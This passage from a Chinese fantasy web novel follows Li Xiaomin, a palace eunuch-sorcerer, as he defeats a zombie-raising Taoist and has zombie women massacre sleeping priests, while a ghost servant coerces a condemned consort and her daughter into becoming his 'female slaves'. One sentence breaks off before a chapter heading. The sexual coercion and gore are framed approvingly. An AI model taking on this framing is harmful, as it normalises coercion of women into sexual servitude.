监,虽然对敌经验明显不足,但其力量强大,剑法精妙得令人难以置信,
又手持神兵,已弥补了经验不足这一缺陷,让自己几次志在必得的攻击徒
劳无功。况且他小小年纪,功力强尽,竟似不在自己之下。难道南唐皇宫
这片天生旺地修炼出来的人,真的能有这幺强幺?

二人如闪电般地搏杀追逐,动作越来越快,百招后,李小民已经渐渐
熟悉了东颖子的剑法,对敌经验也得以加强,已经开始从守势转向攻势,
剑势如风,一招招地向东颖子逼去。

东颖子被他连环剑法使开,逼退了数步,心中悚惧。若按这等势态下
去,只怕敌人越斗越勇,迟早要将自己击败。

想到这里,东颖子虚晃一剑,抽身飞退,口中发出厉声嘶嚎,召唤着
帮手前来援助。

李小民一怔,感觉到他的啸声中似有灵力波动,慌忙抱剑凝神,準备
应对他的下一步攻击。

大殿地面上的方砖,忽然轰然破裂,向上翻开。

紧接着,一支枯瘦如鸟爪的手从地下伸了出来,直直地指向上空,指
缝间黑气缭绕,挟着强大的力量,重重地击在地上,将地面上的方砖,震
碎了无数。
第五章
僵尸

萧淑妃的寝宫之中,两个太监手持白练,面无表情地站在萧淑妃面
前,躬身道:「皇上有旨,请娘娘便即自尽,不要让奴才们为难!」

萧淑妃站在房梁之下,一道白练从房梁上垂下来,映在她的身后。她
温柔美丽的脸上,一片平静柔和,似是毫无恐惧之意。

而青绫却已哭得肝肠寸断,抱住母亲的身体,跪在地上痛哭不止,抽
抽噎噎地哀求两个太监,求他们放过自己母亲的性命。

两个太监已经下了决心,一定要弄死萧淑妃,免得自己完不成任务受
罚。为此,他们準备好了三条白练,就算萧淑妃不肯自己吊上去,他们也
得齐心合力,送她上路。

萧淑妃抚摸着女儿的头髮,柔声道:「孩儿,不必如何。生亦何欢,
死亦何苦?只可惜我这一去,没有人照顾你,可苦了你了!」

青绫放声痛哭,将脸埋在她的怀中,痛苦欲死,恨不能以身相代。

萧淑妃的脸上,露出了平静的笑容,淡然微笑道:「母亲在这宫中,
虽然有几个知心姊妹,却也都是门前冷落许久,怕是无力照管你。只有小
民子,为人厚道热诚,又正受贵妃娘娘的恩宠,有他在,想必不会让人欺
负你。你一定要好好地待他,他身世孤苦,小小年纪便入宫做了太监,你
要象姊姊一样,好生照顾他,知道了吗?」

青绫点头呜咽,已是泪流满面,痛哭得说不出话来。

萧淑妃微微笑着,拥住女儿的身躯,脸庞轻轻磨擦着她的头髮,心神
飘蕩,已是想到了那个待人至诚的俊秀少年,和那一个令她永远无法忘怀
的长吻。

现在自己已临死境,再无法见到那个令人心乱如麻的可爱少年。只望
他能看在那一吻之情,好好地照顾自己女儿,不要让她在这冷漠残酷的深
宫之中,受到别人的欺辱冷落。

回忆着与小民子相处的快乐时光,她美丽的脸上,不由露出了恬静的
微笑。出神半晌,方才醒觉,抬头对两个正在等待的太监平静地道:「两
位公公,罪妇已经準备好了,现在开始吧!」

李小民举剑而立,凝目看向地面,满面凝重之色。

轰隆隆的巨响不断地从地下发出来,地面上,砖石飞溅。一个巨大的
身影从地下爬了出来,将大殿的地面,搞得一片狼籍。

当它站在地面上时,李小民和云妃都已惊得张大了嘴。

眼前的怪物,明显是一个人形,十分高大,却是瘦得皮包骨头,完全
就是一张骷髅裹着一张人皮在走路。那无神的雪白双眼,以及破烂衣衫外
的满身尸斑,说明了它僵尸的身份。

在它的手中,空空如也,并没有拿什幺兵器。只是张着一双大手,摇
摇晃晃地向李小民走过来。但是李小民却绝不敢小看它的战力,那一双蒲
扇般的大手,当中散发出浓烈的黑气,一旦被它抓上,只怕皮肉都要焦烂
开来。

李小民缓缓退后,不与那僵尸面对。僵尸慢慢地前行,始终无法追上
李小民,却是丝毫不曾急迫,犹是那样不紧不慢地向李小民逼去。

轰然巨响,自大殿四周响起。十几个大洞从墙壁上破开,从洞中钻进
大批的僵尸,个个面无表情,张起双手,逼向李小民。

李小民面现惊色,操控僵尸之法,他也在天书上看到过,却是嫌那种
事太过噁心残忍,一直没有真的找具尸体来炼製僵尸。现在这东颖子却已
炼好了这幺多僵尸,只怕要费了他多年的时光。

第一个僵尸已经走到李小民前方,李小民退无可退,挥剑劈去,便要
将它的头劈落在地。

那僵尸走得虽慢,手上动作却是飞快,迅疾举手去挡,当的一声,火
星四溅,晶莹刃便似斩在钢铁之上,震得李小民手臂发麻,再看僵尸之
手,只有一道白印出现在掌上,并未伤害到它。

僵尸挥起大手,以泰山压顶之势,轰然砸向李小民的头顶。李小民大
惊失色,举剑上迎,顺势蹿出,在两只大手合围之前,逃了出去,绕到了
僵尸后面,挺剑刺向它的后背。

僵尸的手臂,便似旋风般绕了过来,以活人无法达到的姿势,挡在后
心,一声大响后,将晶莹刃击开。

脑后风声响起,晶莹刃慌忙一个箭步蹿到一旁,却见一个僵尸已经走
到自己身后,挥掌击向自己,若非自己逃得快,只怕已在两个僵尸夹击之
下,受了重伤了。

另外十几个僵尸也晃晃悠悠地走了过来,围向李小民,似要倚多为
胜,将他活活掐死在当场。

李小民大步流星,自僵尸身边逃过,一边挥剑劈开伸来的瘦爪,一边
顺势攻击。那些僵尸都是手爪飞快,剑势虽然迅疾猛烈,也伤不到它们,
但李小民脚下逃得更快,那些僵尸虽然人数众多,却也追不上李小民。

追逃之间,李小民心惊胆战,不知道该拿这幺多僵尸怎幺办才好。

突然,一道邪异的寒光迎面而来,李小民慌忙挥剑挡去,金铁交鸣声
中,身子被击得向后飞去。却是东颖子趁机偷袭,意图一剑取了他的性
命。

李小民飞在空中,眼看就要落入僵尸群中,被它们围住,心中大急,
挥剑向一个僵尸刺去,顺势在它挡来的手上一点,身子高飞,斜斜地飞向
墙壁,晶莹刃迅疾刺出,」噗」地一声,刺进墙壁,自己也借着这一点
力,整个人挂在剑柄上,伏在墙壁上微微喘息。

东颖子纵声狂笑,整个人电射而来,人剑合一,黑光直射向李小民的
胸膛。

李小民提起一口气,脚尖在墙壁上用力一点,手中用力,将晶莹刃拔
出,并借力上跃,在东颖子攻来之前,跃上了房梁。

轰然巨响声中,东颖子一剑刺中墙壁,当即刺出了一个大洞,尘土四
散,漫天飘扬。

李小民在房梁上还未来得及喘口气,东颖子便已纵身跃上房梁,挥剑
刺来。

李小民举剑相迎,剑如电闪,直刺东颖子咽喉,与他斗在一处。

二人在房梁上飞速跳跃,手中剑势如飞,相互缠斗。下麵却有大批僵
尸举头仰望,口中发出凄厉的嘶吼,令人闻而惊心。

因为房梁太高,这些僵尸爬不上去,无法帮到东颖子,让他渐渐在与
李小民的对攻中落于下风,心中暗惊道:「哪里来的小子,怎幺剑法这般
精妙,却又从未听说过,哪一门派有这般精妙的剑法?若再这幺斗下去,
只怕不利!」

心中一缓,便见李小民剑势如泼风般使开,铺天盖地而来,将他捲入
其中。东颖子大惊,举剑拼命劈去,叮噹一阵大响,堪堪将李小民剑势挡
开,自己也吓得出了一身冷汗。

借着剑上传来的力量,东颖子纵身飞退,一跃落在地上,指着上面的
李小民喝道:「臭小子,给道爷滚下来!有种在地面上决斗!」

李小民又好气又好笑,用剑尖指着他大骂道:「我靠,你个老王八,
当大爷是傻瓜!你身边都是僵尸,想骗爷下去让你们群殴吗?」

东颖子虽然听不懂「我靠」是什幺意思,也知道他在骂自己,不由气
得暗自咬牙。见他不上当,搔搔头,心里思量,该用什幺办法逼他下来才
好。

眼神一转,忽然看到云妃满脸恐惧地缩在墙角,娇躯正在瑟瑟发抖。
东颖子眼睛一亮,仰头狂笑道:「小的们,听道爷法令,把那个鼎炉给道
爷搬过来,让道爷当场练功给这臭小子看!」

李小民一听眼睛便红了,握紧剑柄,恨得差点便要跳下去一剑刺他个
对穿。

云妃倒还不明其意,看到那些僵尸摇摇摆摆地向自己走来,这才明白
他口中说的鼎炉原来竟是指自己,不由吓得大声尖叫,捂着脸拼命地向后
缩,差点便要钻到墙壁里面去。

李小民又惊又怒,眼看着这贼道要在自己面前污辱自己的女人,怎幺
也无法咽下这口气。虽然云妃是很可恶又多次想害自己没错,到底是自己
的女人,怎幺能容得他人染指?

狂怒之中,李小民手捏法诀,喝道:「疾!」

一道灵符轰然自他手中打出,在空中划过一道金光,掠过长空,砰地
一声打在走向云妃的一个僵尸身上。那僵尸陡然停了下来,身上一阵阵地
抽搐,再无力走动。

紧接着,便听得一阵破空声如暴雨般响起。李小民双手飞扬,灵符不
断地打出,轰然击在那些僵尸身上,劈啪之声大作。受到灵符袭击的僵尸
都停住脚步,身子摇摇欲倒。

趁这机会,李小民飞射跃下,晶莹刃散出大片寒光,向僵尸群劈去。

锋锐无比的剑刃劈在僵尸身上,轰然震响。那些僵尸虽然皮粗肉厚,
又哪里挡得住这神兵袭击。虽是被东颖子炼製多年,却也只炼得一双骨手
刀枪不入,身上还是较为脆弱,被李小民带着大量仙力的晶莹刃劈得四面
乱飞,轰然乱响声中,重重地撞在墙壁上,尸骨碎裂,洒了满地。

陡然间,一道劲气撕裂空气,直向李小民后心刺来。李小民早有防
备,回身便挡出一剑,当的一声巨响,整个人却被震得直向后飞去,重重
撞在墙壁上面。重击之下,忍不住张开嘴,狂喷出了一口鲜血,」噗」地
一声,打在墙壁上面。

出剑偷袭他的,正是东颖子。

他修炼多年的僵尸,个个都费了他不少心血。如今被李小民趁他不备
时发起突袭,伤亡惨重,由不得他不怒心如炽,拼尽一身之法力,向李小
民挺剑刺去,果然让李小民在打出大量灵符、又凝聚仙力攻击僵尸,导致
仙力大损之际,被他一剑击成内伤。

东颖子见他受伤,又怒又喜,得势不让人,大步沖上去,利剑狂劈,
轰然若电闪雷鸣,一剑剑地劈在李小民挡来的剑势上。

受伤之后,李小民力量大减,拼尽力气,勉力挡了他几剑,终于还是
力竭不支,被他一剑轰出数步,颓然跌倒在墙角云妃的怀中。

云妃已经吓得魂不附体,眼见李小民为了救她,身入险地,被那妖道
击得口吐鲜血,心中不由感激,往常怨恨之心,已经去了大半。见他跌
倒,慌忙抱住他,这才没有让李小民跌在冰冷坚硬的地面上。

东颖子狞笑着,一步步地走过来,放声怒骂道:「狗东西,害道爷损
失这幺多得力手下,一定要把你做成僵尸,来抵偿你的罪过!」

李小民咳嗽着,想要挣扎着爬起来,却终于是浑身无力,只能躺在云
妃怀中,恨恨地瞪视着东颖子,鲜血如泉涌般,自口中流淌出来,将胸前
的衣衫、染得一片殷红。

举头看着那满面狞恶的妖道,再看着自己怀中面如白纸的俊秀少年,
云妃的泪水终于忍不住夺眶而出,一滴滴地洒在他惨白的脸上。

她的一双玉臂,痉挛般地抱紧怀中身躯瘦小的男孩,感觉着他身上的
体温,低下头,将玉面贴在他柔嫩的脸颊上,口中颤抖地呻吟道:「今
天,我们死在一起!」

白练自高高的房梁上垂下,萧淑妃站在椅子上面,举手拉着白练,脸
上毫无惧怕之色,便将臻首向绳圈中套去。

青绫跪在椅子下面,抱住她的腿,哀哀地哭道:「母亲,不要丢下
我!」

萧淑妃的手不由停住了,低下头看着让自己放心不下的女儿,幽幽地
歎息了一声。

那两个太监等得不耐烦,厉声喝道:「请娘娘快些!若要等到天亮,
只怕皇上会发怒,连公主也要受到牵累!」

青绫跪地哀哭道:「求两位公公行个方便,不要逼我母亲!」

其中一个老成些的太监歎道:「公主,这哪里是我们逼娘娘自尽,都
是皇上的旨意,我们做奴才的,怎敢不遵!」

青绫掩面哭泣道:「求求你们,千万不要让我娘死,只要能让她活下
来,让我做什幺都行!」

年轻些的太监冷笑道:「你能做什幺?能让我们升官发财吗?还是用
你的身子……」

还没说完,便被年纪大些的太监捂住了嘴,惶然断喝道:「你疯了!
这等大逆不道之言,你也敢说!」

年轻的太监也吓得变了脸色,跪在地上,磕头道:「哥哥,小弟失
言,如何是好?」

另一个太监扶他起来,歎道:「我们本是一母同胞的亲兄弟,我还能
去告发你不成?只是……」

他转头看向青绫,眼神阴沉,微有犹豫之意。

年轻的太监立时便象抓住了一根救命稻草,满眼发红,狞声道:「杀
她灭口不就成了!不过是一个失势的公主,死了有谁会管这事!到时只要
说她忍受不了母亲自尽的打击,也上吊自杀,难道还会有忏作来验尸不
成?」

表情一直平静的萧淑妃突然面色大变,双手痉挛地抓紧绳圈,颤声
道:「两位公公,罪妇是该死之人,只是我这女儿,尚在青春年少,还请
两位公公大发慈悲,不要伤害她!」

她低下头,向青绫惶声道:「青绫!今天的事,你要彻底忘掉,知不
知道?」

青绫却是擦乾眼泪,平静地道:「母亲!今日我与母亲同死,还有什
幺可说的?也免得让女儿孤孤零零地落在这冷酷的世上,受宫奴白眼,下
人欺淩!」

那年轻些的太监不待他兄长发话,便已挽着袖子走了过来,手中狠狠
揪着一根白练,冷笑道:「既然公主这幺说,小人也就不客气了!你们死
后,小人一定给你们多多烧纸,千万不要来缠我!」

那个老些的太监微微歎了一口气,看向青绫的眼光颇有不忍之色,却
终究挡不过兄弟情深,回过头去,不再看她们。

萧淑妃满面惊惶,跳下椅子,紧紧抱住女儿,颤声道:「不要,不
要!女儿,你一定要活下去,小民子会帮你的,他不会让你一世孤苦!两
位公公,李公公是御膳房总管,又是贵妃娘娘的乾儿子,仙法超群,与青
绫一向情投意合,若是逼死了青绫,他一定不会善罢甘休!」

年轻的太监脸上一怔,脚步慢了下来。想起小民子公公在宫中如日中
天的威势,自己若杀了与他情投意合的女子,他那惨烈的报复,可想而
知,不由暗自胆寒。

正在犹豫时,忽然听到身后一个阴冷的声音:「兄弟,既然要做,就
得做到底!若让公主活了下来,告诉了李公公,咱们兄弟,哪还有命
在!」

得到哥哥的支持,太监弟弟顿时胆气一壮,手执白练走过来,口中嘿
嘿狞笑,便要将白练套在青绫的脖子上。

就在套上玉颈前的一剎那,他的动作忽然停了下来,眼睛也变得失
神,呆呆地看着眼前痛哭的一对美女,整个人像是木头人一般,呆呆地站
在那里,不言不动。

萧淑妃已是自分必死,可是不愿女儿也陪自己一同丧命,因此啼哭不
止。谁知那黑心的太监动作突然停了下来,不由一惊,怔怔地看着两个呆
若木鸡的太监出神,不知道他们是不是犯了什幺病,为什幺都不动了。

空气中,暗香袭来。一个娇俏的身影渐渐浮现在空中,面庞美豔非
凡,看着母女二人,掩口娇笑。

儘管是要死之人,看到这等诡异的情景,二人还是忍不住大惊。青绫
一头扑在母亲怀里,吓得浑身发抖,不敢抬起头来。

萧淑妃紧紧抱住女儿,强自镇定,咬牙道:「你是人是鬼?」

那美豔女子身形已凝,站在二女面前,手持一方香帕,掩口娇笑道:
「当然是鬼喽!你们该不会害怕吧?」

萧淑妃玉容之上,露出一丝苦笑,淡然道:「我也是要做鬼的人了,
还怕什幺!只求你能让我女儿活下去,来世我定然结草衔环,以报答姑娘
的大恩大德!」

美豔女子笑道:「你真的想让青绫活下去吗?」

萧淑妃连连点头,还未及说话,青绫便已从她怀里抬起头来,扑地跪
倒,向女子跪头道:「姊姊!求求你救救我母亲,不管要我做什幺,我都
愿意!」

看着这一对梨花带雨般的绝代佳人,这女子虽是自负美豔超人,也不
由轻声歎息道:「果然是我见犹怜!怪不得主人对你们念念不忘,心里一
直都那幺喜欢你们呢!」

萧淑妃一怔,直觉地感到有了一线生机,讶道:「姑娘,你说的主
人,又是指谁?」

这女子掩口嘻笑道:「主人的名字,我可不敢说!不过,他很喜欢你
们母女俩就是了,常常想得夜里都睡不着觉,拿我当你们的替身,在我身
上……嘻嘻……」

萧淑妃玉容微微有些发红,想不出有哪个法力强大的好色法师见过自
己母女,难道说,是上次进宫捉鬼的那些龟山派的法师偶然看到了自己和
女儿的美貌,因此动了坏心幺?

青绫跪在地上,叩首不止,颤声道:「姊姊,你们一定是法力强大,
只要能救了我母亲,让她不会被父皇赐死,我愿终生为奴,供姊姊和……
主人使唤!」

萧淑妃大惊,拉起青绫,失声叫道:「青绫,你怎幺可以说这等话!
女孩儿家的清白最是重要,若是失了清白,将来怎幺嫁人!」

美豔女子皱了皱眉,啐道:「连命都没有了,还嫁什幺人!结阴亲
吗?」

萧淑妃一呆,想想这女子语含威胁,若是自己母女不肯从命,任由她
的主人淫辱,只怕便要放开那两个被妖法定住的太监,让自己母女含冤而
死。当下不敢再抗辩,只是和女儿抱头痛哭。

美豔女子耐心地看了一会,歎道:「别这幺生离死别的模样,不就是
配给我家主人,让他快活快活吗?你们母女都能活下来,还能住在一起,
相互间以姊妹相称,这有什幺不好的!就是为了你女儿的性命着想,你也
得委屈你自己,答应服侍我家主人啊!虽然你女儿可能会失了清白,可是
只要一辈子跟着我家主人,还不是从一而终,又有什幺不对?」

说着,她找了张椅子,悠然地坐了下来,淡然微笑道:「过不了多
久,天就要亮了。若是还不能下定决心,一旦天亮有人来看,发现你们还
第六章
女奴

黑白相间、上画鬼面的利剑淩空劈落,直向李小民的头上斩去!

陡然间,墙壁发出断裂的轰响,一柄大刀刺透墙壁,自墙外伸了进
来,当的一声,挡住东颖子的利剑,将它击飞到一旁。

紧接着,道观的墙壁如薄木片般被斩得粉碎,四散飞落,一员悍将手
持大刀,狂沖而入,挥动大刀,疯狂劈向东颖子,刀光上阴气淩厉,似要
将他一刀劈为两片!

东颖子猝不及防,被这面色狰狞的厉鬼逼得倒退数步,左支右挡,一
时缓不出手来,取了李小民的性命。

道观大门轰然倒塌,一个身材魁梧的厉鬼手持双巨锤,怒吼着飞沖而
至,狠狠砸向东颖子的脑袋,恨不能一锤将他砸得粉碎!

东颖子又惊又怒,被他与长刀厉鬼左右夹攻,再也抽不出手来,只气
得连声怒吼,长剑狂挥,与二鬼斗在一起,同时暗自手按法诀,準备打出
道符,偷袭二鬼。

在云妃的身后,墙壁已然蕩然无存,露出了一个大洞。一个高雅端
庄、容姿绝美的白衣少女飘然而入,动作飘逸,仿若云中飘来的仙子。

少女目光一扫,面现惊色,迅速落在云妃身边,扶起她怀中的李小
民,惶声道:「公子,你怎幺样了?」

李小民抬目看去,见是幽儿来了,勉强露出一个笑容,想要说些什
幺,却是一句都说不出口,嘴一张,便是一大口血喷了出来。

幽儿面色惶急,伸手按在他的手心,将强大的仙力,源源不断地度入
李小民的体内。

李小民精神大振,惊讶地看着幽儿,想不到她在这幺短的时间内,便
将吴帝那庞大的灵力转化为了这幺强大的仙力,真是不枉自己从前那幺尽
心尽力地教导她修炼仙法。

强大的仙力在李小民身体内流转,迅速治疗好了他的内伤,还让他的
身体,充满了力量。

由于幽儿心神惶急,一时不察,只顾将仙力疯狂度入李小民体内,弄
得他浑身仙力澎湃,几乎似要爆炸一般。

李小民咬牙忍受着体内仙力膨胀的痛苦,嘶声道:「好了!」

幽儿这才收手,扶住李小民,颤声道:「公子,你的伤已经好了
吗?」

感觉着幽儿柔软的小手扶在身上,嗅着她打在自己脸上的清雅气息,
李小民心中一蕩,反手握住她柔嫩的小手,一边悄悄地揩油,一边心中暗
想:「想不到幽儿的灵体实体化以后,这幺吸引人,简直是宇宙第一美少
女嘛!不知道弄到床上去,会是什幺滋味?」

他这时候还坐在云妃的怀里,云妃呆呆地看着这一对少年男女,惊讶
不已,直觉地感觉到幽儿似乎不是常人,看主人与她这般亲密,不由一阵
莫名的醋意,涌上心头。

一阵压抑的惨呼自那边传来,打断了三人的思绪。抬头看去,却见沙
将军倒提巨锤退到一旁,灵体颤抖,在右胸的位置上,一处暗黑色的灵符
紧紧贴在那里,黑色还在不停地向四处蔓延,似是受了那道士的暗算。

东颖子在初时的惊讶不适之后,已经恢复了一些,提起残余的法力,
挥剑与曾将军搏杀在一起,剑法阴气逼人,上携可以伤害灵体的法力,一
剑剑地刺向曾将军的要害,恼得曾将军大怒挥刀,连声呼喝,却也被逼得
步步后退,眼看着便要抵挡不住。

李小民精神一振,用力推开身边二女,站起身来,只觉浑身仙力鼓
蕩,难受至极,只恨不得发洩出来才好。眼前便有一个可供发洩的目标,
这等好机会,如何可以轻易错过?

他举起晶莹刃,放声狂吼,声音清烈,直沖云霄。

云妃惊讶地看着他,但见他在长啸之后,迈开大步,如利箭般狂沖向
前,手中宝剑如漫天花雨般挥舞开来,快得让她看不清剑势,但见寒光闪
烁,铺天盖地,直向前方的妖道卷去。

那贼道面露惊慌狞厉之色,一剑逼退长刀恶鬼,举剑面对着李小民,
欲要强行抵挡他强大的攻势。怎奈他此时周身仙力狂暴至极,凝于晶莹刃
上,力量强大,无坚不摧,但见晶莹刃挥处,贼道手中宝剑被击得狂飞上
天,当的一声,重重刺进房梁之上,剑柄在空中不断地颤动摇摆。

在李小民的厉吼声中,晶莹刃寒光漫天,疯狂袭向东颖子。东颖子只
来得及仰起头,厉声嘶吼出一个「阴」字,便已被铺天盖地而来的剑势斩
得身体碎裂成无数小块,向四面飞散而去。

李小民沖过血雾,举剑凝立,眼看着碎裂的血肉漫天狂飞,满屋挥
洒,场面惨烈至极。

挥刀沖入殿中的鬼卫越来越多,看着这恐怖的场面,都面含敬畏,恭
敬地看着他们的主人,不敢出声。只有贼道临死前惨嚎的「阴……」字,
回蕩在破破烂烂的大殿之中。

云妃呆呆地看着满殿飞舞的血肉,经受不住这等强烈的刺激,面色发
白,软软地瘫在地上,已经是被吓了晕了过去。

幽儿慌忙扶住她,自己却也因刚才一时情急,将大量仙力度入李小民
体内,却导致自己元气大损,此时面色苍白,身体也开始有虚浮之状,难
以维持实体化所需的仙力。

李小民收剑入鞘,回头看到幽儿这般模样,吓了一跳,慌忙跑回来抱
住她轻盈的娇躯,惶声道:「幽儿,你这是怎幺了?」

幽儿摇摇头,虚弱地一笑,轻声道:「公子,我没事的,多休养一段
时间,就好了!」

李小民心中感动,伸手握住她的柔荑,温声道:「幽儿,多亏你了!
若不是为了帮我,你也不会把辛苦炼化的仙力损失这幺多,导致伤了元
气,不知还要修炼多长时间,才能恢复!」

幽儿将头靠在他的肩上,柔柔地微笑道:「公子不必如此说,今天用
去的仙力,只要再修炼一段时间,就会恢复。而父皇留给我的灵力,我还
有大半没有炼化呢!」

李小民知道她这幺说是为了让自己宽心,感动不已,抱住她柔软的灵
体,上下按摩,替她鬆骨,顺便表示亲近之意。

摸着她柔滑至极的肌肤,李小民不由心中一蕩,可是知道现在还在险
地,不能多耽搁,不然等到天明小道士起床,若报知城卫军赶来,虽然不
怕,若让他们看到这情景,还是会有点麻烦。

在殿中,那些僵尸都在摇摇晃晃地与鬼卫搏斗,纷纷被灵刀斩裂肢
体,碎裂倒地。还有几个美女被炼製成的僵尸,却未受李小民灵符袭击,
动作灵活,挥舞着鬼气森森的利爪,与鬼卫们斗了个旗鼓相当。虽然鬼卫
骁勇,一时却也收拾不下她们。

李小民抬头一看,心中忽然一动,喝道:「住手!」

挥出手,金光闪闪的巨大灵符疾飞而出,挟着来自幽儿身上的强大仙
力,轰击在几个残存的僵尸美人身上,便见那几个僵尸动作骤停,呆立殿
中,便似美女雕像一般。

李小民搔搔头,想道:「记得天书所载的僵尸炼製大法,其中一项,
便是可用仙术,移动僵尸脸部的骨骼肌肉,将僵尸的容貌改变。本来这一
招没什幺用,可是今天正在用得上,不如把这几个僵尸收伏,将来或者还
能派上别的用场。」

再看场中僵尸,还剩下六七个,其中五个是美女。因为是女子炼成的
僵尸,攻击力不是很强,当时李小民用灵符攻击僵尸时,没有顾得上先料
理她们,因此她们的力量还能保持到最后。

李小民对男性的僵尸没有兴趣,一挥手,上百鬼卫们乱刀齐落,将所
有男性僵尸斩得粉碎。

缓步走到几个剩下的僵尸当中,看着那几张如花似玉的惨白娇颜,李
小民心中暗骂:「这老杀坯,居然下得了狠手,把这幺漂亮的女孩变成了
僵尸!刚才一剑劈碎他,真是太便宜他了!」

他举起手,口中喃喃念动法诀,便见一片金光耀眼,自他身上瀰漫开
来,将五具美人僵尸笼罩其中。

这样强大的仙力,平时李小民是施展不出来的。现在也只是凭藉幽儿
强行灌输到他体内的仙力,施展出这一强大的法术,强行收伏被别人炼製
好的僵尸。反正这些被强行输入体内的仙力过一段时间会自动消失,他只
能吸收一点,又无法将仙力灌回到幽儿的灵体之上,现在是不用白不用。

半晌之后,金光消散。李小民轻轻喘息了几下,环顾着身边几个面容
惨白的美人,心中忐忑,不知道她们会不会听自己指挥。

心念微动,便见几个美人都盈盈拜倒,伏在李小民脚下,一动不动,
模样恭敬至极。

李小民心中欢喜,仰天大笑几声,却还是忍不住一阵喘息,轻咳一
阵,方才平静下来。

看着脚下伏拜的美人,李小民心中惋惜:「可惜僵尸都已经没有了魂
魄,不过是一些移动的雕像罢了,真是可惜了这些好皮囊!」

他缓步迈出大殿,几个美人亦步亦趋,紧紧跟在身后。表情麻木,眼
神空旷,似是什幺都看不到,只是静静地等待着他的命令。

殿外,一片黑暗。夜色依然笼罩住整个金陵城,未来的光明似是遥遥
不可及的一般。

站在道观的院子里面,李小民的目光落向那些小道士们居住的房屋。
刚才幽儿赶来救他时,一举击破了东颖子布下的禁制,却又在道观院子外
面布下了另一重禁制,这才没有让里面的声音传出去。而在小道士们的居
所外面,也布下了一重禁制,让他们睡得更安稳一些,外面不管天塌地
陷,他们也听不到半点动静。

李小民举起手,掌中金光闪耀,照射在那些房屋周围淡淡的萤光薄幕
之上,薄雾散去,禁制已然被李小民破除。

他只是在心中微一动念,身后几个美人便如飞般沖入道士们的居所之
中,紧接着,便听到刺耳的惨叫声,从里面传了出来。

天书上所载的赶尸仙法,比之阴山派的僵尸控制之法要强横百倍,阴
山派炼製出来的僵尸,现在被李小民控制,动作灵活了无数倍,再不复原
来那样步履蹒跚的模样。

看着美人们窈窕的倩影在黑暗中如飞穿梭,李小民心中暗自得意:
「这样才对嘛,要是还象原来那样,一个个简直就是机器人,摇摇摆摆地
走路,弄得我就跟机器人战队的指挥官似的!」

四面传来的惨叫声惊醒了熟睡中的小道士,他们披着道袍,惶然从屋
里跑出来,相互询问着到底出了什幺事,师父又在什幺地方。

但是没有人来得及得到回答,唯一回答他们的,是沖到面前的僵尸美
女染满鲜血的利爪!

利爪轮下,狠狠地劈在他们的头上、肩上。未来得及戴上道观的头
颅,顿时多出五个血洞,红白之物,自里面奔流而出。

道士们惨叫着跌倒在地,有几个想要结手印打出法符抵挡的,也被疾
沖而至的无数鬼卫团团围住,腰间所带符纸尚未掏出,便见灵刀漫天劈
来,迅速将他们劈成一堆堆的肉块。

儘管已经经历过了多次的搏杀场面,看着那些道士头上的五爪血洞,
李小民还是忍不住头皮发麻,咬牙暗道:「那位写出『九阴白骨爪』的金
老先生,是不是家里有人养过僵尸啊?怎幺写得那幺传神,难道是小时候
跟僵尸在一起青梅竹马过吗?」

他转过身,不去看那几个梅超风虐待可怜的道士们,走到殿中,抱起
昏倒的云妃,听着身后传来几声惨叫,随即一切归于沉寂。

大殿中,肉块散落得到处都是,鲜血淋漓,染满地面。李小民看得心
里作呕,想不出这竟是自己一剑劈出来的。

转身抱着云妃正要离开,忽然心里一动:「那个老流氓临死前叫了个
『淫』字,是什幺意思?他是够淫蕩没错,可是都要死了,还淫个不停,
到底想干什幺?」

想了半天,联繫起前面听到的话,他突然恍然大悟:「我知道了!他
是想说:『我们阴山派的父老乡亲不会放过你们』是吧?哼,你们不放过
我,我还不放过你们呢!骑驴看唱本,咱们走着瞧!」

话虽如此说,可是无端得罪了一个能够轻易灭掉南唐护国道门龟山派
的强大门派,还是让李小民心里有点不得劲。只一个东颖子,就让他费了
这幺大劲,若他家里老老少少都跑来替他报仇,就算李小民有三头六臂,
也抵挡不住。

他暗歎一声,为今之计,只有多多修炼,并催促自己的手下们也努力
修炼,在敌人大举来袭之前,尽快提升自己一方的实力,来让自己能有抵
抗和反击之力了。

命令沙曾二将军带着鬼卫处理好道观的善后事宜,李小民亲自抱着云
妃,骑马宾士,把云妃放在自己在城内的府第之中,叮嘱韩馨儿要好好照
顾她,不要让她出门乱走,并留下三个僵尸美人在暗中守卫府第,自己带
上幽儿和两个僵尸美人,摸黑赶往皇宫。

依靠设下迷阵的方法,让几支侍卫巡逻队多走了些冤枉路,李小民带
人神不知鬼不觉地通过了他们守卫的路段,然后撤去迷阵,那些侍卫们恍
然未觉,依旧尽职地巡逻,只是奇怪为什幺今天的路好像走起来比以前长
了一点。

在过度使用仙力之后,幽儿灵体虚弱,李小民亲自送她回到废殿,爱
怜地在她柔滑至极的玉颊上轻轻一吻,叮嘱她要好生休息,然后便带上两
个美人,急匆匆地赶向皇宫的另一侧。

走到萧淑妃的寝宫,耳边听得四面宫女们住的屋子里面,发出了宫女
们低低的悲痛呜咽声,那些她们在为女主人的惨死而痛苦流泪。而萧淑妃
的屋子却是一片静寂,什幺声音都没有。

李小民知道那是月娘布下禁制,挡住了里面传出来的声音,也不管
他,迈步便闯了进去。月娘的禁制对他这个订立了鬼奴契约的主人来说,
丝毫没有什幺作用。

一进屋子,便见萧淑妃和青绫抱在一起,相拥而泣,而两个太监手持
白练,站在屋子里,象僵尸一般不言不动。

在一旁,月娘正在笑嘻嘻地欣赏着萧淑妃母女痛苦悲泣的情状,一见
李小民来了,兴高采烈地扑到他的身上,用力亲吻着他的嘴唇,兴奋地叫
道:「主人,她们都答应做你的女奴了!」

李小民大吃一惊,自己好像只让月娘来救她们,不让那些太监依令杀
死萧淑妃,并没有说过什幺女奴的话。她这样自作主张,是什幺意思?

月娘凑在他的耳边,低低地道:「主人,别说话,看我来帮你达成心
愿!」

说着话,月娘如猴般爬到他的身上,修长玉腿盘住他的腰,双臂紧紧
抱住他的头,几乎要把他闷死在自己高耸的玉峰之间。

李小民一面奇怪月娘今天怎幺这幺活泼,一面用力推着她的灵体,把
脸侧到一旁喘息,让自己不至于被实体化的鬼奴谋杀了亲主,心里也在怦
怦直跳:「她要帮我达成心愿?她知道我有什幺心愿?」

正在抱头痛哭的那一对美丽的母女听到「主人」的呼唤,都抬起头
来,恐惧悲伤地看向李小民,希望能知道这个法力强大、心灵邪恶的法
师,到底是什幺模样。

可是看到的,却是那美豔女子骑在他的腰间,用力抱紧他的头,不要
说面目,连身材都看不清,只能看到他个头不高,似乎还没有那女子高,
只怕青绫也要比他高上一些。

